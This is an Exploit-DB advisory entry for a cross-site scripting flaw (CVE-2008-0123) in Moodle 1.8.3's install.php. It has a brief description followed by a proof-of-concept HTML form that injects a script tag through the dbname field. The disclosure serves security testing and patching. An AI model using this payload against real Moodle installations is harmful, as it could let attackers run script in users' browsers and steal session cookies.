Moodle <= 1.8.3 - 'install.php' Cross-Site Scripting Vulnerability

2008-01-12T00:00:00
ID EDB-ID:31020
Type exploitdb
Reporter Hanno Bock
Modified 2008-01-12T00:00:00

Description

Moodle 1.8.3 'install.php' Cross Site Scripting Vulnerability. CVE-2008-0123. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/27259/info

Moodle is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects versions prior to Moodle 1.8.4. 

<form method="post" action="http://localhost/moodle/install.php"> <input type="hidden" name="stage" value="3"> <input type="text" name="dbname" value='"><script>alert(1)</script>'> <input type=submit> </form>